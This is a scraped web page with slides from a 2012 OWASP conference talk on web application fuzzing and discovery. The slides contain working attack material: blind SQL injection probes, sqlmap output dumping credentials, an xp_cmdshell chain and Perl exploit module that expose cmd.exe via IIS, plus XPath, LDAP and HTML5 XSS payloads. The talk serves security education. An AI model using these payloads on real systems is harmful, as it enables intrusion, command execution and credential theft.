FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERYFIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
 
Mobile Application Security – Effective methodology, efficient testing!
Mobile Application Security – Effective methodology, efficient testing!Mobile Application Security – Effective methodology, efficient testing!
Mobile Application Security – Effective methodology, efficient testing!
 
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
 
Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007Shreeraj - Hacking Web 2 0 - ClubHack2007
Shreeraj - Hacking Web 2 0 - ClubHack2007
 
Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Hacking Ajax & Web Services - Next Generation Web Attacks on the RiseHacking Ajax & Web Services - Next Generation Web Attacks on the Rise
Hacking Ajax & Web Services - Next Generation Web Attacks on the Rise
 
HTML5 and the dawn of rich mobile web applications
HTML5 and the dawn of rich mobile web applicationsHTML5 and the dawn of rich mobile web applications
HTML5 and the dawn of rich mobile web applications
 
Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2Shreeraj-Hacking_Web_2
Shreeraj-Hacking_Web_2
 
Comm Gate Corporate Profile V0.4
Comm Gate Corporate Profile V0.4Comm Gate Corporate Profile V0.4
Comm Gate Corporate Profile V0.4
 
When worlds Collide: HTML5 Meets the Cloud
When worlds Collide: HTML5 Meets the CloudWhen worlds Collide: HTML5 Meets the Cloud
When worlds Collide: HTML5 Meets the Cloud
 
Building Cross Platform Mobile Web Apps
Building Cross Platform Mobile Web AppsBuilding Cross Platform Mobile Web Apps
Building Cross Platform Mobile Web Apps
 
Building cross platform mobile web apps
Building cross platform mobile web appsBuilding cross platform mobile web apps
Building cross platform mobile web apps
 
An Intro to Mobile HTML5
An Intro to Mobile HTML5An Intro to Mobile HTML5
An Intro to Mobile HTML5
 
Silverlight development
Silverlight developmentSilverlight development
Silverlight development
 
Silverlight development
Silverlight developmentSilverlight development
Silverlight development
 
Building single page applications
Building single page applicationsBuilding single page applications
Building single page applications
 
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth ExploitsHTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
 
Moving to Web 2.0 - Best Practices for Business and Application Migration
Moving to Web 2.0 - Best Practices for Business and Application MigrationMoving to Web 2.0 - Best Practices for Business and Application Migration
Moving to Web 2.0 - Best Practices for Business and Application Migration
 
HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1HTML5 and the dawn of rich mobile web applications pt 1
HTML5 and the dawn of rich mobile web applications pt 1
 
Multi client Development with Spring
Multi client Development with SpringMulti client Development with Spring
Multi client Development with Spring
 
A great api is hard to find
A great api is hard to findA great api is hard to find
A great api is hard to find
 

Dernier

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Victor Rentea
 

Dernier (20)

AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 

Find me if you can – smart fuzzing and discovery! shreeraj shah

  • 1. FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY SHREERAJ SHAH OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 2. Who Are We? http://shreeraj.blogspot.com shreeraj@blueinfy.com http://www.blueinfy.com • Founder & Director – Blueinfy Solutions Pvt. Ltd. (Brief) – SecurityExposure.com • Past experience – Net Square, Chase, IBM & Foundstone • Interest – Web security research • Published research – Articles / Papers – Securityfocus, O’erilly, DevX, InformIT etc. – Tools – wsScanner, scanweb2.0, AppMap, AppCodeScan, AppPrint etc. – Advisories - .Net, Java servers etc. • Books (Author) – Web 2.0 Security – Defending Ajax, RIA and SOA – Hacking Web Services – Web Hacking OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 3. Well Known Fact! • 90% of sites are vulnerable to one or more vulnerabilities. • Exploitable ? – YES! • Most popular ones are – SQLi & XSS • SQLi – complete compromise of the application … • XSS – Control over browser and exploitation OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 4. Traditional Fuzzing – Not working • Enterprise running on 2.0 wave - Portal • Technologies & Components – Dojo, Ajax, XML Services, Blog, Widgets • Scan with tools/products failed • Security issues and hacks – SQL injection over XML – Ajax driven XSS – Several XSS with Blog component – Several information leaks through JSON fuzzing – CSRF on both XML and JS-Array » HACKED » DEFENSE OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 5. AppSec – Past, Present … Source - OWASP OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India) 5
  • 6. Enterprise Technology Trend • 2007. Web services would rocket from $1.6 billion in 2004 to $34 billion. [IDC] • 2008. Web Services or Service-Oriented Architecture (SOA) would surge ahead. • 2009. Enterprise 2.0 in action and penetrating deeper into the corporate environment • 2010. Flex/Cloud/API era. • 2012. Mobile/HTML5 era. OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 7. Architecture Documents News Weather Mails Bank/Trade Browser Internet RSS feeds Ajax RIA (Flash) Internet Web 2.0 Start HTML / JS / DOM Blog Database Authentication Application Infrastructure Web Services End point OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 8. Environment Internet DMZ Trusted SOAP/JSON etc. Mobile Web 2.0 W Services E Scripted Application B Web Web Servers S Server Engine And E Static pages only Web Dynamic pages (HTML,HTM, etc.) (ASP,DHTML, PHP, Integrated R Client CGI, etc.) Framework V X I ASP.NET on C .Net Framework, E J2EE App Server, S Web Services, DB etc. Internal/Corporate OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 9. Stack/Logic - Layers • Android • iPhone/Pad • HTML 5 Other • • Storage • Flash Mobile • AMF • WebSocket • DOM • WebSQL • • JS • Storage Flex • XHR • XAML Server side Components • Silverlight • WCF Presentation Layer • NET Business Layer Client side Data Access Layer Components Authentication (Browser) Communication etc. Runtime, Platform, Operating System Components OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 10. Browser & Mobile – Arch. Mobile HTML5 + CSS Silverlight Flash API (Media, Geo etc.) & Messaging Plug-In Presentation JavaScript DOM/Events Parser/Threads Process & Logic WebSQL Cache Storage XHR 1 & 2 WebSocket Plug-in Sockets Browser Native Network Services Network & Access SOP/CORS Sandbox Core Policies OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 11. Case study - Pageflakes OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 12. Case study - Pageflakes Widgets Web Services OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 13. FUZZING & DISCOVERY OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 14. OWASP’s Risk Picture OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 15. Methodology, Scan and Attacks Assets Footprinting & Discovery Config Scanning Enumeration & Crawling Code Scanning Attacks and Scanning Black White Secure Coding Web Firewall Defense Secure Assets OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 16. Discovery JSON XML JS-Script JS-Object JS-Array OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 17. Attack & Entry OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 18. GET/POST GET /login.aspx?username=shah HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive POST http://example.com/cgi-bin/search.cgi HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10 Accept: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, image/png, */*;q=0.5 Keep-Alive: 300 Referer: http://example.com/ Content-Type: application/x-www-form-urlencoded Content-Length: 17 search=searchtext OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 19. XML-RPC POST /trade-rpc/getquote.rem HTTP/1.0 TE: deflate,gzip;q=0.3 Connection: TE, close Host: xmlrpc.example.com Content-Type: text/xml Content-Length: 161 <?xml version="1.0"?> <methodCall> <methodName>stocks.getquote</methodName> <params> <param><value><string>MSFT</string></value></param> </params> </methodCall> OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 20. SOAP <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getQuotes xmlns="http://tempuri.org/"> <compid>MSFT</compid> </getQuotes> </soap:Body> </soap:Envelope> OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 21. REST <?xml version="1.0"?> <p:Laptops xmlns:p="http://laptops.example.com" xmlns:xl="http://www.w3.org/1999/xlink"> <Laptop id="0123" xl:href="http://www.parts-depot.com/laptops/0123"/> < Laptop id="0348" xl:href="http://www.parts-depot.com laptops /0348"/> < Laptop id="0321" xl:href="http://www.parts-depot.com/ laptops /0321"/> … … </p:Laptops> OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 22. JSON message = { from : "john@example.com", to : "jerry@example.com", subject : "I am fine", body : "Long message here", showsubject : function(){document.write(this.subject)} }; OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 23. HIDDEN DISCOVERY OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 24. Ajax driven site OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 25. Crawling with Ruby/Watir OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 26. Attacker’s approach • Fuzzing over HTTP • Injecting faults with various set of payload • Try to raise the exception • Exception throw message back as part of HTTP response • Scanning response for signatures • If signature found, it becomes interesting entry for exploitation OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 27. Challenges • Technology fingerprinting • Hidden calls • Framework integration • Entry points are multiple • Traditional fuzzing will not work • Auto assessment can be challenge • Behavioral assessment with Artificial intelligence OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 28. Old Approach • Forcing SQL errors. • Ideal for identifying database interfaces! http://192.168.7.120/details.asp?id= ‘3 select * from items where product_id = ‘3 DB OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 29. Error – Now? – forget it • Premature SQL query termination We now have an SQL injection point. OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 30. Blind SQL Injection • We have SQL injection point but it is not throwing any error message out as part of its response. Application is sending customized error page which is not revealing any signature by which we can deduce potential SQL flaw. • Knowing SQL injection point or loophole in web application, xp_cmdshell seems to be working. But we can’t say is it working or not since it doesn’t return any meaningful signature. This is “blind xp_cmdshell”. • Firewall don’t allow outbound traffic so can’t do ftp, tftp, ping etc from the box to the Internet by which you can confirm execution of the command on the target system. • We don’t know the actual path to webroot so can’t copy file to location which can be accessed over HTTP or HTTPS later to confirm the execution of the command. • If we know path to webroot and directory structure but can’t find execute permission on it so can’t copy cmd.exe or any other binary and execute over HTTP/HTTPS. OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 31. Checks… • AND 1=1 • DBO check http://192.168.50.50/details.aspx?id=1+AND+USER_NAME()='dbo' • Wait delay call http://192.168.50.50/details.aspx?id=1;waitfor+delay+'0:0:10' • (SELECT+ASCII(SUBSTRING((a.loginame),1,1))+FROM+master..sysprocesses+AS+a+ WHERE+a.spid+=+@@SPID)=115 • http://www.dvds4less.net/details.aspx?id=1+AND+(SELECT+ASCII(SUBSTRING((a.l oginame),1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=1 14 • http://www.dvds4less.net/details.aspx?id=1+AND+(SELECT+ASCII(SUBSTRING((a.l oginame),2,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=9 7 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 32. Running tools • SQL Map or Absinthe D:toolssqlmap>sqlmap.py -b -u http://192.168.50.50/details.aspx?id=1 sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com> and belch <daniele.bellucci@gmail.com> [*] starting at: 18:47:58 [18:48:00] [WARNING] the remote DMBS is not MySQL [18:48:00] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server banner: --- Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2) --- [*] shutting down at: 18:48:14 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 33. Enumeration… D:toolssqlmap>sqlmap.py -b -u http://192.168.50.50/details.aspx?id=1 --dbs sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com> and belch <daniele.bellucci@gmail.com> [*] starting at: 18:53:10 [18:53:12] [WARNING] the remote DMBS is not MySQL [18:53:12] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server banner: --- Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2) --- available databases [9]: [*] CmdExec_example [*] Dashboard [*] catalog [*] demotrading [*] master [*] model [*] msdb [*] order [*] tempdb [*] shutting down at: 18:55:07 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 34. Enumeration… D:toolssqlmap>sqlmap.py -u http://192.168.50.50/details.aspx?id=1 --tables -D catalog sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com> and belch <daniele.bellucci@gmail.com> [*] starting at: 18:59:21 [18:59:22] [WARNING] the remote DMBS is not MySQL [18:59:22] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server Database: catalog [3 tables] +--------------+ | auth | | dtproperties | | items | +--------------+ OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 35. Enumeration… D:toolssqlmap>sqlmap.py -u http://192.168.50.50/details.aspx?id=1 --dump -D ca talog -T auth sqlmap/0.4 coded by inquis <bernardo.damele@gmail.com> and belch <daniele.bellucci@gmail.com> [*] starting at: 19:01:27 [19:01:28] [WARNING] the remote DMBS is not MySQL [19:01:28] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server Database: catalog Table: auth [3 entries] +--------+------+---------+ | access | user | pass | +--------+------+---------+ | 101010 | dbo | john123 | | 110011 | | great | | 001011 | | loveit | +--------+------+---------+ OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 36. Blind Exploiting Set WshShell = WScript.CreateObject("WScript.Shell") Set ObjExec = WshShell.Exec("cmd.exe /c echo %windir%") windir = ObjExec.StdOut.ReadLine() Set Root = GetObject("IIS://LocalHost/W3SVC/1/ROOT") Set Dir = Root.Create("IIsWebVirtualDir", "secret") Dir.Path = windir Dir.AccessExecute = True Dir.SetInfo http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Set WshShell = WScript.CreateObject("WScript.Shell") > c:secret.vbs’ ….. ….. ….. http://target/details.asp?id=1;exec+master..xp_cmdshell+’echo ' Dir.SetInfo >> c:secret.vbs’ http://target/details.asp?id=1;exec+master..xp_cmdshell+'cscript+c:secret.vbs’ OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 37. Get the cmd.exe • Run command over HTTP/HTTPS • http://target/secret/system32/cmd.exe?+/c+set OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 38. Running… sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $path = $self->GetVar('RPATH'); my $vhost = $self->GetVar('VHOST'); my @url = split(/#/, $path); my @payload = ("EXEC+master..xp_cmdshell+'echo+Set+WshShell+=+WScript.CreateObject("WScript.Shell")>c:secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Set+Root+=+GetObject("IIS://LocalHost/W3SVC/1/ROOT")>>c:secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Set+Dir+=+Root.Create("IIsWebVirtualDir","secret")>>c:secret.vb s'", "EXEC+master..xp_cmdshell+'echo+Dir.Path+=+"c:winntsystem32">>c:secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Dir.AccessExecute+=+True>>c:secret.vbs'", "EXEC+master..xp_cmdshell+'echo+Dir.SetInfo>>c:secret.vbs'", "EXEC+master..xp_cmdshell+'cscript+c:secret.vbs'" ); $self->PrintLine("[+] Sending SQL injection payload..."); for(my $count=0;$count<=6;$count++) .. OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 39. XPATH injection • XPATH parsing standard error • XPATH is method available for XML parsing • MS SQL server provides interface and one can get table content in XML format. • Once this is fetched one can run XPATH queries and obtain results. • What if username/password parsing done on using XPATH – XPATH injection OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 40. XPATH injection string fulltext = ""; string coString = "Provider=SQLOLEDB;Server=(local);database=order;User ID=sa;Password=mypass"; SqlXmlCommand co = new SqlXmlCommand(coString); co.RootTag="Credential"; co.CommandType = SqlXmlCommandType.Sql; co.CommandText = "SELECT * FROM users for xml Auto"; XmlReader xr = co.ExecuteXmlReader(); xr.MoveToContent(); fulltext = xr.ReadOuterXml(); XmlDocument doc = new XmlDocument(); doc.LoadXml(fulltext); string credential = "//users[@username='"+user+"' and @password='"+pass+"']"; XmlNodeList xmln = doc.SelectNodes(credential); string temp; if(xmln.Count > 0) { //True } else //false OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 41. XPATH injection string credential = "//users[@username='"+user+"' and @password='"+pass+"']"; • XPATH parsing can be leveraged by passing following string ' or 1=1 or ''=‘ • This will always true on the first node and user can get access as who ever is first user. Bingo! OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 42. LDAP Injection Resource viewer : http://www.something.com/res.cgi?type=1)(uid=*)) •Notice the injection •Attacker bypasses the user id check •(S)he can view all machines now OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 43. SOAP – INJECTIONS & FUZZING OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 44. Fetching Calls • Identifying services layer calls OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 45. Technology Identification • Location can be obtained from UDDI as well, if already published. • WSDL location [ Access Point ] http://192.168.11.2/ws/dvds4less.asmx?wsdl .asmx – indicates .Net server from MS OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 46. SOAP request SOAP Envelope <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1</id> </getProductInfo> </soap:Body> </soap:Envelope> Input to the method Method Call OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 47. SOAP response SOAP Envelope <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/</getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Output to the method Method response OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 48. HTML5 & CLIENT SIDE FUZZING OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 49. HTML5 – Tags/Attributes/Events • Tags – media (audio/video), canvas (getImageData), menu, embed, buttons/commands, Form control (keys) • Attributes – form, submit, autofocus, sandbox, manifest, rel etc. • Events/Objects – Navigation (_self), Editable content, Drag-Drop APIs, pushState (History) etc. 49 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 50. HTML5 – XSS • Blacklist and filter will get bypassed • Lot of new signatures and possible ways to execute scripts • XSS can be injected from tags and events • New attributes are available for XSS payload 50 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 51. XSS variants • Media tags • Examples – <video><source onerror="javascript:alert(1)“> – <video onerror="javascript:alert(1)"><source> 51 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 52. XSS variants • Exploiting autofocus – <input autofocus onfocus=alert(1)> – <select autofocus onfocus=alert(1)> – <textarea autofocus onfocus=alert(1)> – <keygen autofocus onfocus=alert(1)> 52 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 53. XSS variants • MathML issues – <math href="javascript:alert(1)">CLICKME</math> – <math> <maction actiontype="statusline#http://Blueinfy.com" xlink:href="javascript:alert(1)">CLICKME</mactio n> </math> 53 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 54. XSS variants • Form & Button etc. – <form id="test" /><button form="test" formaction="javascript:alert(1)">test – <form><button formaction="javascript:alert(1)">test • Etc … and more … 54 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 55. DOM BASED INJECTIONS OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 56. DOM with HTML5 OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 57. DOM based XSS - Messaging • It is a sleeping giant in the Ajax applications coupled with Web Messaging • Root cause – DOM is already loaded – Application is single page and DOM remains same – New information coming needs to be injected in using various DOM calls like eval() – Information is coming from untrusted sources – JSONP usage – Web Workers and callbacks OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 58. AJAX with HTML5 – DOM • Ajax function would be making a back-end call • Back-end would be returning JSON stream or any other and get injected in DOM • In some libraries their content type would allow them to get loaded in browser directly • In that case bypassing DOM processing… OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 59. APIs … • HTML5 few other APIs are interesting from security standpoint – File APIs – allows local file access and can mixed with ClickJacking and other attacks to gain client files. – Drag-Drop APIs – exploiting self XSS and few other tricks, hijacking cookies … – Lot more to explore and defend… OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)
  • 60. CONCLUSION & QUESTIONS OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)